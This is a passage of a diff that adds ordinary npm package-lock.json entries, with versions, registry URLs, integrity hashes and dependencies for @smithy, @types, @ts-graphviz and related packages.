"sha512-1D9Y/nmlVjCeSivCbhZ7hgEpmHyY1h0GvpSZt3l0xcD9JjmjVC1CHOozS6+Gh+/ldMH8JuJ6cujObQqfayAVFA==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/is-array-buffer": "^4.2.2", + "@smithy/protocol-http": "^5.3.14", + "@smithy/types": "^4.14.1", + "@smithy/util-hex-encoding": "^4.2.2", + "@smithy/util-middleware": "^4.2.14", + "@smithy/util-uri-escape": "^4.2.2", + "@smithy/util-utf8": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/smithy-client": { + "version": "4.12.13", + "resolved": "https://registry.npmjs.org/@smithy/smithy-client/-/smithy-client-4.12.13.tgz", + "integrity": "sha512-y/Pcj1V9+qG98gyu1gvftHB7rDpdh+7kIBIggs55yGm3JdtBV8GT8IFF3a1qxZ79QnaJHX9GXzvBG6tAd+czJA==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/core": "^3.23.17", + "@smithy/middleware-endpoint": "^4.4.32", + "@smithy/middleware-stack": "^4.2.14", + "@smithy/protocol-http": "^5.3.14", + "@smithy/types": "^4.14.1", + "@smithy/util-stream": "^4.5.25", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/types": { + "version": "4.14.1", + "resolved": "https://registry.npmjs.org/@smithy/types/-/types-4.14.1.tgz", + "integrity": "sha512-59b5HtSVrVR/eYNei3BUj3DCPKD/G7EtDDe7OEJE7i7FtQFugYo6MxbotS8mVJkLNVf8gYaAlEBwwtJ9HzhWSg==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/url-parser": { + "version": "4.2.14", + "resolved": "https://registry.npmjs.org/@smithy/url-parser/-/url-parser-4.2.14.tgz", + "integrity": "sha512-p06BiBigJ8bTA3MgnOfCtDUWnAMY0YfedO/GRpmc7p+wg3KW8vbXy1xwSu5ASy0wV7rRYtlfZOIKH4XqfhjSQQ==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/querystring-parser": "^4.2.14", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/util-base64": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/@smithy/util-base64/-/util-base64-4.3.2.tgz", + "integrity": "sha512-XRH6b0H/5A3SgblmMa5ErXQ2XKhfbQB+Fm/oyLZ2O2kCUrwgg55bU0RekmzAhuwOjA9qdN5VU2BprOvGGUkOOQ==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/util-buffer-from": "^4.2.2", + "@smithy/util-utf8": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/util-body-length-browser": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/@smithy/util-body-length-browser/-/util-body-length-browser-4.2.2.tgz", + "integrity": "sha512-JKCrLNOup3OOgmzeaKQwi4ZCTWlYR5H4Gm1r2uTMVBXoemo1UEghk5vtMi1xSu2ymgKVGW631e2fp9/R610ZjQ==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/util-body-length-node": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/@smithy/util-body-length-node/-/util-body-length-node-4.2.3.tgz", + "integrity": "sha512-ZkJGvqBzMHVHE7r/hcuCxlTY8pQr1kMtdsVPs7ex4mMU+EAbcXppfo5NmyxMYi2XU49eqaz56j2gsk4dHHPG/g==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/util-buffer-from": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/@smithy/util-buffer-from/-/util-buffer-from-4.2.2.tgz", + "integrity": "sha512-FDXD7cvUoFWwN6vtQfEta540Y/YBe5JneK3SoZg9bThSoOAC/eGeYEua6RkBgKjGa/sz6Y+DuBZj3+YEY21y4Q==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/is-array-buffer": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/util-config-provider": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/@smithy/util-config-provider/-/util-config-provider-4.2.2.tgz", + "integrity": "sha512-dWU03V3XUprJwaUIFVv4iOnS1FC9HnMHDfUrlNDSh4315v0cWyaIErP8KiqGVbf5z+JupoVpNM7ZB3jFiTejvQ==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/util-defaults-mode-browser": { + "version": "4.3.49", + "resolved": "https://registry.npmjs.org/@smithy/util-defaults-mode-browser/-/util-defaults-mode-browser-4.3.49.tgz", + "integrity": "sha512-a5bNrdiONYB/qE2BuKegvUMd/+ZDwdg4vsNuuSzYE8qs2EYAdK9CynL+Rzn29PbPiUqoz/cbpRbcLzD5lEevHw==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/property-provider": "^4.2.14", + "@smithy/smithy-client": "^4.12.13", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/util-defaults-mode-node": { + "version": "4.2.54", + "resolved": "https://registry.npmjs.org/@smithy/util-defaults-mode-node/-/util-defaults-mode-node-4.2.54.tgz", + "integrity": "sha512-g1cvrJvOnzeJgEdf7AE4luI7gp6L8weE0y9a9wQUSGtjb8QRHDbCJYuE4Sy0SD9N8RrnNPFsPltAz/OSoBR9Zw==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/config-resolver": "^4.4.17", + "@smithy/credential-provider-imds": "^4.2.14", + "@smithy/node-config-provider": "^4.3.14", + "@smithy/property-provider": "^4.2.14", + "@smithy/smithy-client": "^4.12.13", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/util-endpoints": { + "version": "3.4.2", + "resolved": "https://registry.npmjs.org/@smithy/util-endpoints/-/util-endpoints-3.4.2.tgz", + "integrity": "sha512-a55Tr+3OKld4TTtnT+RhKOQHyPxm3j/xL4OR83WBUhLJaKDS9dnJ7arRMOp3t31dcLhApwG9bgvrRXBHlLdIkg==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/node-config-provider": "^4.3.14", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/util-hex-encoding": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/@smithy/util-hex-encoding/-/util-hex-encoding-4.2.2.tgz", + "integrity": "sha512-Qcz3W5vuHK4sLQdyT93k/rfrUwdJ8/HZ+nMUOyGdpeGA1Wxt65zYwi3oEl9kOM+RswvYq90fzkNDahPS8K0OIg==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/util-middleware": { + "version": "4.2.14", + "resolved": "https://registry.npmjs.org/@smithy/util-middleware/-/util-middleware-4.2.14.tgz", + "integrity": "sha512-1Su2vj9RYNDEv/V+2E+jXkkwGsgR7dc4sfHn9Z7ruzQHJIEni9zzw5CauvRXlFJfmgcqYP8fWa0dkh2Q2YaQyw==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/util-retry": { + "version": "4.3.8", + "resolved": "https://registry.npmjs.org/@smithy/util-retry/-/util-retry-4.3.8.tgz", + "integrity": "sha512-LUIxbTBi+OpvXpg91poGA6BdyoleMDLnfXjVDqyi2RvZmTveY5loE/FgYUBCR5LU2BThW2SoZRh8dTIIy38IPw==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/service-error-classification": "^4.3.1", + "@smithy/types": "^4.14.1", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/util-stream": { + "version": "4.5.25", + "resolved": "https://registry.npmjs.org/@smithy/util-stream/-/util-stream-4.5.25.tgz", + "integrity": "sha512-/PFpG4k8Ze8Ei+mMKj3oiPICYekthuzePZMgZbCqMiXIHHf4n2aZ4Ps0aSRShycFTGuj/J6XldmC0x0DwednIA==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/fetch-http-handler": "^5.3.17", + "@smithy/node-http-handler": "^4.6.1", + "@smithy/types": "^4.14.1", + "@smithy/util-base64": "^4.3.2", + "@smithy/util-buffer-from": "^4.2.2", + "@smithy/util-hex-encoding": "^4.2.2", + "@smithy/util-utf8": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/util-uri-escape": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/@smithy/util-uri-escape/-/util-uri-escape-4.2.2.tgz", + "integrity": "sha512-2kAStBlvq+lTXHyAZYfJRb/DfS3rsinLiwb+69SstC9Vb0s9vNWkRwpnj918Pfi85mzi42sOqdV72OLxWAISnw==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/util-utf8": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/@smithy/util-utf8/-/util-utf8-4.2.2.tgz", + "integrity": "sha512-75MeYpjdWRe8M5E3AW0O4Cx3UadweS+cwdXjwYGBW5h/gxxnbeZ877sLPX/ZJA9GVTlL/qG0dXP29JWFCD1Ayw==", + "license": "Apache-2.0", + "dependencies": { + "@smithy/util-buffer-from": "^4.2.2", + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@smithy/uuid": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@smithy/uuid/-/uuid-1.1.2.tgz", + "integrity": "sha512-O/IEdcCUKkubz60tFbGA7ceITTAJsty+lBjNoorP4Z6XRqaFb/OjQjZODophEcuq68nKm6/0r+6/lLQ+XVpk8g==", + "license": "Apache-2.0", + "dependencies": { + "tslib": "^2.6.2" + }, + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/@stablelib/base64": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@stablelib/base64/-/base64-1.0.1.tgz", + "integrity": "sha512-1bnPQqSxSuc3Ii6MhBysoWCg58j97aUjuCSZrGSmDxNqtytIi0k8utUenAwTZN4V5mXXYGsVUI9zeBqy+jBOSQ==", + "license": "MIT" + }, + "node_modules/@standard-schema/spec": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.1.0.tgz", + "integrity": "sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w==", + "dev": true, + "license": "MIT" + }, + "node_modules/@tokenizer/inflate": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/@tokenizer/inflate/-/inflate-0.4.1.tgz", + "integrity": "sha512-2mAv+8pkG6GIZiF1kNg1jAjh27IDxEPKwdGul3snfztFerfPGI1LjDezZp3i7BElXompqEtPmoPx6c2wgtWsOA==", + "license": "MIT", + "dependencies": { + "debug": "^4.4.3", + "token-types": "^6.1.1" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Borewit" + } + }, + "node_modules/@tokenizer/token": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/@tokenizer/token/-/token-0.3.0.tgz", + "integrity": "sha512-OvjF+z51L3ov0OyAU0duzsYuvO01PH7x4t6DJx+guahgTnBHkhJdG7soQeTSFLWN3efnHyibZ4Z8l2EuWwJN3A==", + "license": "MIT" + }, + "node_modules/@tootallnate/once": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-2.0.0.tgz", + "integrity": "sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==", + "license": "MIT", + "engines": { + "node": ">= 10" + } + }, + "node_modules/@tootallnate/quickjs-emscripten": { + "version": "0.23.0", + "resolved": "https://registry.npmjs.org/@tootallnate/quickjs-emscripten/-/quickjs-emscripten-0.23.0.tgz", + "integrity": "sha512-C5Mc6rdnsaJDjO3UpGW/CQTHtCKaYlScZTly4JIu97Jxo/odCiH0ITnDXSJPTOrEKk/ycSZ0AOgTmkDtkOsvIA==", + "license": "MIT" + }, + "node_modules/@ts-graphviz/adapter": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@ts-graphviz/adapter/-/adapter-2.0.6.tgz", + "integrity": "sha512-kJ10lIMSWMJkLkkCG5gt927SnGZcBuG0s0HHswGzcHTgvtUe7yk5/3zTEr0bafzsodsOq5Gi6FhQeV775nC35Q==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ts-graphviz" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/ts-graphviz" + } + ], + "license": "MIT", + "dependencies": { + "@ts-graphviz/common": "^2.1.5" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/@ts-graphviz/ast": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/@ts-graphviz/ast/-/ast-2.0.7.tgz", + "integrity": "sha512-e6+2qtNV99UT6DJSoLbHfkzfyqY84aIuoV8Xlb9+hZAjgpum8iVHprGeAMQ4rF6sKUAxrmY8rfF/vgAwoPc3gw==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ts-graphviz" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/ts-graphviz" + } + ], + "license": "MIT", + "dependencies": { + "@ts-graphviz/common": "^2.1.5" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/@ts-graphviz/common": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@ts-graphviz/common/-/common-2.1.5.tgz", + "integrity": "sha512-S6/9+T6x8j6cr/gNhp+U2olwo1n0jKj/682QVqsh7yXWV6ednHYqxFw0ZsY3LyzT0N8jaZ6jQY9YD99le3cmvg==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ts-graphviz" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/ts-graphviz" + } + ], + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/@ts-graphviz/core": { + "version": "2.0.7", + "resolved": "https://registry.npmjs.org/@ts-graphviz/core/-/core-2.0.7.tgz", + "integrity": "sha512-w071DSzP94YfN6XiWhOxnLpYT3uqtxJBDYdh6Jdjzt+Ce6DNspJsPQgpC7rbts/B8tEkq0LHoYuIF/O5Jh5rPg==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ts-graphviz" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/ts-graphviz" + } + ], + "license": "MIT", + "dependencies": { + "@ts-graphviz/ast": "^2.0.7", + "@ts-graphviz/common": "^2.1.5" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/@types/body-parser": { + "version": "1.19.6", + "resolved": "https://registry.npmjs.org/@types/body-parser/-/body-parser-1.19.6.tgz", + "integrity": "sha512-HLFeCYgz89uk22N5Qg3dvGvsv46B8GLvKKo1zKG4NybA8U2DiEO3w9lqGg29t/tfLRJpJ6iQxnVw4OnB7MoM9g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/connect": "*", + "@types/node": "*" + } + }, + "node_modules/@types/caseless": { + "version": "0.12.5", + "resolved": "https://registry.npmjs.org/@types/caseless/-/caseless-0.12.5.tgz", + "integrity": "sha512-hWtVTC2q7hc7xZ/RLbxapMvDMgUnDvKvMOpKal4DrMyfGBUfB1oKaZlIRr6mJL+If3bAP6sV/QneGzF6tJjZDg==", + "license": "MIT" + }, + "node_modules/@types/chai": { + "version": "5.2.3", + "resolved": "https://registry.npmjs.org/@types/chai/-/chai-5.2.3.tgz", + "integrity": "sha512-Mw558oeA9fFbv65/y4mHtXDs9bPnFMZAL/jxdPFUpOHHIXX91mcgEHbS5Lahr+pwZFR8A7GQleRWeI6cGFC2UA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/deep-eql": "*", + "assertion-error": "^2.0.1" + } + }, + "node_modules/@types/connect": { + "version": "3.4.38", + "resolved": "https://registry.npmjs.org/@types/connect/-/connect-3.4.38.tgz", + "integrity": "sha512-K6uROf1LD88uDQqJCktA4yzL1YYAK6NgfsI0v/mTgyPKWsX1CnJ0XPSDhViejru1GcRkLWb8RlzFYJRqGUbaug==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/debug": { + "version": "4.1.13", + "resolved": "https://registry.npmjs.org/@types/debug/-/debug-4.1.13.tgz", + "integrity": "sha512-KSVgmQmzMwPlmtljOomayoR89W4FynCAi3E8PPs7vmDVPe84hT+vGPKkJfThkmXs0x0jAaa9U8uW8bbfyS2fWw==", + "license": "MIT", + "dependencies": { + "@types/ms": "*" + } + }, + "node_modules/@types/deep-eql": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/@types/deep-eql/-/deep-eql-4.0.2.tgz", + "integrity": "sha512-c9h9dVVMigMPc4bwTvC5dxqtqJZwQPePsWjPlpSOnojbor6pGqdk541lfA7AqFQr5pB1BRdq0juY9db81BwyFw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/diff": { + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/@types/diff/-/diff-7.0.2.tgz", + "integrity": "sha512-JSWRMozjFKsGlEjiiKajUjIJVKuKdE3oVy2DNtK+fUo8q82nhFZ2CPQwicAIkXrofahDXrWJ7mjelvZphMS98Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/estree": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz", + "integrity": "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/express": { + "version": "4.17.25", + "resolved": "https://registry.npmjs.org/@types/express/-/express-4.17.25.tgz", + "integrity": "sha512-dVd04UKsfpINUnK0yBoYHDF3xu7xVH4BuDotC/xGuycx4CgbP48X/KF/586bcObxT0HENHXEU8Nqtu6NR+eKhw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/body-parser": "*", + "@types/express-serve-static-core": "^4.17.33", + "@types/qs": "*", + "@types/serve-static": "^1" + } + }, + "node_modules/@types/express-serve-static-core": { + "version": "4.19.8", + "resolved": "https://registry.npmjs.org/@types/express-serve-static-core/-/express-serve-static-core-4.19.8.tgz", + "integrity": "sha512-02S5fmqeoKzVZCHPZid4b8JH2eM5HzQLZWN2FohQEy/0eXTq8VXZfSN6Pcr3F6N9R/vNrj7cpgbhjie6m/1tCA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*", + "@types/qs": "*", + "@types/range-parser": "*", + "@types/send": "*" + } + }, + "node_modules/@types/hosted-git-info": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/@types/hosted-git-info/-/hosted-git-info-3.0.5.tgz", + "integrity": "sha512-Dmngh7U003cOHPhKGyA7LWqrnvcTyILNgNPmNCxlx7j8MIi54iBliiT8XqVLIQ3GchoOjVAyBzNJVyuaJjqokg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/html-to-text": { + "version": "9.0.4", + "resolved": "https://registry.npmjs.org/@types/html-to-text/-/html-to-text-9.0.4.tgz", + "integrity": "sha512-pUY3cKH/Nm2yYrEmDlPR1mR7yszjGx4DrwPjQ702C4/D5CwHuZTgZdIdwPkRbcuhs7BAh2L5rg3CL5cbRiGTCQ==", + "license": "MIT" + }, + "node_modules/@types/http-errors": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@types/http-errors/-/http-errors-2.0.5.tgz", + "integrity": "sha512-r8Tayk8HJnX0FztbZN7oVqGccWgw98T/0neJphO91KkmOzug1KkofZURD4UaD5uH8AqcFLfdPErnBod0u71/qg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/katex": { + "version": "0.16.8", + "resolved": "https://registry.npmjs.org/@types/katex/-/katex-0.16.8.tgz", + "integrity": "sha512-trgaNyfU+Xh2Tc+ABIb44a5AYUpicB3uwirOioeOkNPPbmgRNtcWyDeeFRzjPZENO9Vq8gvVqfhaaXWLlevVwg==", + "license": "MIT" + }, + "node_modules/@types/long": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/@types/long/-/long-4.0.2.tgz", + "integrity": "sha512-MqTGEo5bj5t157U6fA/BiDynNkn0YknVdh48CMPkTSpFTVmvao5UQmm7uEF6xBEo7qIMAlY/JSleYaE6VOdpaA==", + "license": "MIT" + }, + "node_modules/@types/mdast": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-4.0.4.tgz", + "integrity": "sha512-kGaNbPh1k7AFzgpud/gMdvIm5xuECykRR+JnWKQno9TAXVa6WIVCGTPvYGekIDL4uwCZQSYbUxNBSb1aUo79oA==", + "license": "MIT", + "dependencies": { + "@types/unist": "*" + } + }, + "node_modules/@types/mime": { + "version": "1.3.5", + "resolved": "https://registry.npmjs.org/@types/mime/-/mime-1.3.5.tgz", + "integrity": "sha512-/pyBZWSLD2n0dcHE3hq8s8ZvcETHtEuF+3E7XVt0Ig2nvsVQXdghHVcEkIWjy9A0wKfTn97a/PSDYohKIlnP/w==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/mime-types": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/@types/mime-types/-/mime-types-2.1.4.tgz", + "integrity": "sha512-lfU4b34HOri+kAY5UheuFMWPDOI+OPceBSHZKp69gEyTL/mmJ4cnU6Y/rlme3UL3GyOn6Y42hyIEw0/q8sWx5w==", + "license": "MIT" + }, + "node_modules/@types/ms": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/@types/ms/-/ms-2.1.0.tgz", + "integrity": "sha512-GsCCIZDE/p3i96vtEqx+7dBUGXrc7zeSK3wwPHIaRThS+9OhWIXRqzs4d6k1SVU8g91DrNRWxWUGhp5KXQb2VA==", + "license": "MIT" + }, + "node_modules/@types/node": { + "version": "25.6.2", + "resolved": "https://registry.npmjs.org/@types/node/-/node-25.6.2.tgz", + "integrity": "sha512-sokuT28dxf9JT5Kady1fsXOvI4HVpjZa95NKT5y9PNTIrs2AsobR4GFAA90ZG8M+nxVRLysCXsVj6eGC7Vbrlw==", + "license": "MIT", + "dependencies": { + "undici-types": "~7.19.0" + } + }, + "node_modules/@types/normalize-package-data": { + "version": "2.4.4", + "resolved": "https://registry.npmjs.org/@types/normalize-package-data/-/normalize-package-data-2.4.4.tgz", + "integrity": "sha512-37i+OaWTh9qeK4LSHPsyRC7NahnGotNuZvjLSgcPzblpHB3rrCJxAOgI5gCdKm7coonsaX1Of0ILiTcnZjbfxA==", + "license": "MIT" + }, + "node_modules/@types/picomatch": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/@types/picomatch/-/picomatch-4.0.3.tgz", + "integrity": "sha512-iG0T6+nYJ9FAPmx9SsUlnwcq1ZVRuCXcVEvWnntoPlrOpwtSTKNDC9uVAxTsC3PUvJ+99n4RpAcNgBbHX3JSnQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/proper-lockfile": { + "version": "4.1.4", + "resolved": "https://registry.npmjs.org/@types/proper-lockfile/-/proper-lockfile-4.1.4.tgz", + "integrity": "sha512-uo2ABllncSqg9F1D4nugVl9v93RmjxF6LJzQLMLDdPaXCUIDPeOJ21Gbqi43xNKzBi/WQ0Q0dICqufzQbMjipQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/retry": "*" + } + }, + "node_modules/@types/qs": { + "version": "6.15.0", + "resolved": "https://registry.npmjs.org/@types/qs/-/qs-6.15.0.tgz", + "integrity": "sha512-JawvT8iBVWpzTrz3EGw9BTQFg3BQNmwERdKE22vlTxawwtbyUSlMppvZYKLZzB5zgACXdXxbD3m1bXaMqP/9ow==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/range-parser": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/@types/range-parser/-/range-parser-1.2.7.tgz", + "integrity": "sha512-hKormJbkJqzQGhziax5PItDUTMAM9uE2XXQmM37dyd4hVM+5aVl7oVxMVUiVQn2oCQFN/LKCZdvSM0pFRqbSmQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/request": { + "version": "2.48.13", + "resolved": "https://registry.npmjs.org/@types/request/-/request-2.48.13.tgz", + "integrity": "sha512-FGJ6udDNUCjd19pp0Q3iTiDkwhYup7J8hpMW9c4k53NrccQFFWKRho6hvtPPEhnXWKvukfwAlB6DbDz4yhH5Gg==", + "license": "MIT", + "dependencies": { + "@types/caseless": "*", + "@types/node": "*", + "@types/tough-cookie": "*", + "form-data": "^2.5.5" + } + }, + "node_modules/@types/retry": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/@types/retry/-/retry-0.12.0.tgz", + "integrity": "sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA==", + "license": "MIT" + }, + "node_modules/@types/sarif": { + "version": "2.1.7", + "resolved": "https://registry.npmjs.org/@types/sarif/-/sarif-2.1.7.tgz", + "integrity": "sha512-kRz0VEkJqWLf1LLVN4pT1cg1Z9wAuvI6L97V3m2f5B76Tg8d413ddvLBPTEHAZJlnn4XSvu0FkZtViCQGVyrXQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/send": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@types/send/-/send-1.2.1.tgz", + "integrity": "sha512-arsCikDvlU99zl1g69TcAB3mzZPpxgw0UQnaHeC1Nwb015xp8bknZv5rIfri9xTOcMuaVgvabfIRA7PSZVuZIQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/serve-static": { + "version": "1.15.10", + "resolved": "https://registry.npmjs.org/@types/serve-static/-/serve-static-1.15.10.tgz", + "integrity": "sha512-tRs1dB+g8Itk72rlSI2ZrW6vZg0YrLI81iQSTkMmOqnqCaNr/8Ek4VwWcN5vZgCYWbg/JJSGBlUaYGAOP73qBw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/http-errors": "*", + "@types/node": "*", + "@types/send": "<1" + } + }, + "node_modules/@types/serve-static/node_modules/@types/send": { + "version": "0.17.6", + "resolved": "https://registry.npmjs.org/@types/send/-/send-0.17.6.tgz", + "integrity": "sha512-Uqt8rPBE8SY0RK8JB1EzVOIZ32uqy8HwdxCnoCOsYrvnswqmFZ/k+9Ikidlk/ImhsdvBsloHbAlewb2IEBV/Og==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/mime": "^1", + "@types/node": "*" + } + }, + "node_modules/@types/shell-quote": { + "version": "1.7.5", + "resolved": "https://registry.npmjs.org/@types/shell-quote/-/shell-quote-1.7.5.tgz", + "integrity": "sha512-+UE8GAGRPbJVQDdxi16dgadcBfQ+KG2vgZhV1+3A1XmHbmwcdwhCUwIdy+d3pAGrbvgRoVSjeI9vOWyq376Yzw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/tough-cookie": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/@types/tough-cookie/-/tough-cookie-4.0.5.tgz", + "integrity": "sha512-/Ad8+nIOV7Rl++6f1BdKxFSMgmoqEoYbHRpPcx3JEfv8VRsQe9Z4mCXeJBzxs7mbHY/XOZZuXlRNfhpVPbs6ZA==", + "license": "MIT" + }, + "node_modules/@types/unist": { + "version": "2.0.11", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-2.0.11.tgz", + "integrity": "sha512-CmBKiL6NNo/OqgmMn95Fk9Whlp2mtvIv+KNpQKN2F4SjvrEesubTRWGYSg+BnWZOnlCaSTU1sMpsBOzgbYhnsA==", + "license": "MIT" + }, + "node_modules/@types/ws": { + "version": "8.18.1", + "resolved": "https://registry.npmjs.org/@types/ws/-/ws-8.18.1.tgz", + "integrity": "sha512-ThVF6DCVhA8kUGy+aazFQ4kXQ7E1Ty7A3ypFOe0IcJV8O/M511G99AW24irKrW56Wt44yG9+ij8FaqoBGkuBXg==", + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@types/yauzl": { + "version": "2.10.3", + "resolved": "https://registry.npmjs.org/@types/yauzl/-/yauzl-2.10.3.tgz", + "integrity": "sha512-oJoftv0LSuaDZE3Le4DbKX+KS9G36NzOeSap90UIK0yMA/NhKJhqlSGtNDORNRaIbQfzjXDrQa0ytJ6mNRGz/Q==", + "license": "MIT", + "optional": true, + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/@typescript-eslint/project-service": { + "version": "8.59.2", + "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.59.2.tgz", + "integrity": "sha512-+2hqvEkeyf/0FBor67duF0Ll7Ot8jyKzDQOSrxazF/danillRq2DwR9dLptsXpoZQqxE1UisSmoZewrlPas9Vw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/tsconfig-utils": "^8.59.2", + "@typescript-eslint/types": "^8.59.2", + "debug": "^4.4.3" + }, + "engines": { + 